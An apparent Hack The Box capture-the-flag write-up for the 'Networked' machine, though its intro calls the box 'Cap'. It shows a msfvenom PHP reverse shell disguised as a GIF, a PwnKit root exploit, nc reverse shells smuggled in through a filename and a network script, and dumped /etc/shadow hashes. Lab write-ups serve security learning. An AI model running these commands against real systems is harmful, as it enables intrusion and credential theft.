HTB: Networked Writeup
There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!
Enumeration
This began with an nmap scan
$ nmap -sC -sV 10.10.10.146
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-30 14:50 EDT
Nmap scan report for 10.10.10.146
Host is up (0.69s latency).
Not shown: 806 filtered tcp ports (no-response), 191 filtered tcp ports (host-unreach)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.17 seconds
From these ports, the only really interesting one is 80. We also have a bit of info, the machine is running CentOS and PHP 5.4.16.
Port 80
Beginning with a gobuster scan:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.10.146 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.146
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/06/30 14:59:20 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 229]
/lib.php (Status: 200) [Size: 0]
/uploads (Status: 301) [Size: 236] [--> http://10.10.10.146/uploads/]
/backup (Status: 301) [Size: 235] [--> http://10.10.10.146/backup/]
/upload.php (Status: 200) [Size: 169]
/photos.php (Status: 200) [Size: 5980]
/. (Status: 200) [Size: 229]
The scan lists a few interesting files, it looks like there’s an upload.php
that may be of interest to us. Additionally, there’s a backup
directory. Taking a look at the backup directory, I can see backup.tar
listed there, which is the source code of the PHP files!
Looking through the PHP files, it looks like upload.php
will receive input from the user as an uploaded file then validate that it’s a valid file with check_file_type
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
The check_file_type
function will obtain the MIME of the file and check if it contains image/
.
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
Next, once the file validates the MIME type, it next checks the file extension:
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
So the uploaded file must have one of the image extensions and a valid MIME type.
From here, I spent a lot of time trying to bypass the file extension check to upload an image with a .php
extension. I tried many things such as using jhead
to modify a JPG file and inserting a NULL byte into the uploaded filename (e.g. shell.php\x00.jpg
). But I was unable to bypass this file extension filter. After a while of trying on this “easy” box, I finally gave up and look at the ippsec video where he went over the box and he simply uploaded it WITH the image extension, and the webserver still executed it as PHP code. Why didn’t I think of trying to see if the image executed as PHP??
Next, crafting the payload PHP script:
$ echo -n "GIF8;" > payload.php.gif
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 >> payload.php.gif
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
The above creates a file with the GIF magic number (GIF8;
), and appends a PHP payload on to the image with a reverse meterpreter payload.
Next, we must set up a listener to catch the callback when we receive it.
$ msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set lhost 10.10.14.5; set lport 8080; run"
[*] Using configured payload generic/shell_reverse_tcp
payload => php/meterpreter/reverse_tcp
lhost => 10.10.14.5
lport => 8080
[*] Started reverse TCP handler on 10.10.14.5:8080
[*] Sending stage (39927 bytes) to 10.10.10.146
[*] Meterpreter session 1 opened (10.10.14.5:8080 -> 10.10.10.146:36816) at 2022-06-30 14:26:53 -0400
Finally, uploading the payload.php.gif
and then accessing it via the web browser was able to callback to our listener and give us an interactive shell.
Privesc - User
TBD
Privesc - Root
I’m not certain if this is the intended way to obtain root, but when I ran linpeas, it reported that this machine is vulnerable to CVE-2021-4034. That exploit has a POC posted on github, however that POC requires compiling with gcc and we do not have gcc on the target machine. That did not pose a problem though, on my local machine I downloaded the POC and compiled it, it does internally use GCC again, so I compiled two versions of it.
$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
$ sed -i 's:execve:// execve:g' cve-2021-4034-poc.c
$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc-setup
$ ./cve-2021-4034-poc-setup
$ tar cf - pwnkit | gzip -9 > pwnkit.tgz
$ sudo python3 -m http.server 80
Now, back in our shell:
meterpreter > shell
cd /tmp
curl 10.10.14.5/pwnkit.tgz -O pwnkit.tgz
tar xf pwnkit.tgz
curl 10.10.14.5/cve-2021-4034-poc -O cve-2021-4034-poc
chmod +x cve-*
./cve-2021-4034-poc
whoami
root
cat /home/g*/user.txt
526cfc2305f17faaacecf212c57d71c5
cat /root/root.txt
0a8ecda83f1d81251099e8ac3d0dcb82
cat /etc/shadow
root:$6$wRmoL66y$Lz9oA82o1iDwKwJjhUwuGhuOakrYdclnbsJ/K9OQF40hMNk0UDoxtTqQ1UnC8SzLyZ8sujxQjhT/gvmkOfoJZ1:18079:0:99999:7:::
guly:$6$eKNFoPNC$HlNBvdf0mFXswJ7xRZFaBQgfo0gR626ui/1rydhlIih/PEqDI8ZsrHUsET1y93GtydanJBwl82eGO8Iw0JJM90:18079:0:99999:7:::
And that’s it, we’re now root.
Proper Privesc - User
This is the correct/expected way to become root before more vulnerabilites were discovered after this machine was released.
From the apache access, we will discover a script in /home/guly
labled check_attack.php
and a file named crontab.guly
which implies that the check_attack.php
script is executed once every 3 minutes. Looking at the script, we can see that it loops over all files in the directory /var/www/html/uploads/
and if the file is invalid, it will consider it an “attack”, which attempts to remove it with the following line:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
This simply take the filename (as $value
) and passes that on to exec
. The vulnerability here is that we can control the filenames, so if we create a filename that can be injected into this script, it will execute it.
To exploit this, we will create a file that begins with a ;
character, which is a command delimiter. Thus the first command will execute (and fail due to the file not existing) and the next command will then execute, in this case it’s our nc
command to send a reverse shell.
$ cd /var/www/html/uploads
$ touch ';nc -c bash 10.10.14.5 8081;'
We are then able to catch the reverse shell:
$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.146] 38476
Proper Privesc - Root
As the user, we can see that we’re able to execute a script with sudo
$ sudo -l
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Taking a look at that script, it writes into a network file named /etc/sysconfig/network-scripts/ifcfg-guly
, then attempts to start it. There is a vulnerability in the way RHEL (and thus CentOS) handles this where it will simply source the file as root. When you source the file, you execute everything in the file, see here for a description of this. Thus, the way to exploit this is to insert a command into the script that sends a reverse shell back to us as root.
There is a regex match preventing some special characters from being used, most notibly the .
character can’t be used. To bypass this, I created a script that may be executed, then call the script from the file.
$ cat << EOF > /tmp/shell
> /usr/bin/nc -c 10.10.14.5 8081
> EOF
$ chmod a+x /tmp/shell
$ sudo /usr/local/sbin/changename.sh
interface NAME:
/bin/bash /tmp/shell
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
Then set up a listener for the callback.
$ nc -lnvp 8081
listening on [any] 8081 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.146] 43700
whoami
root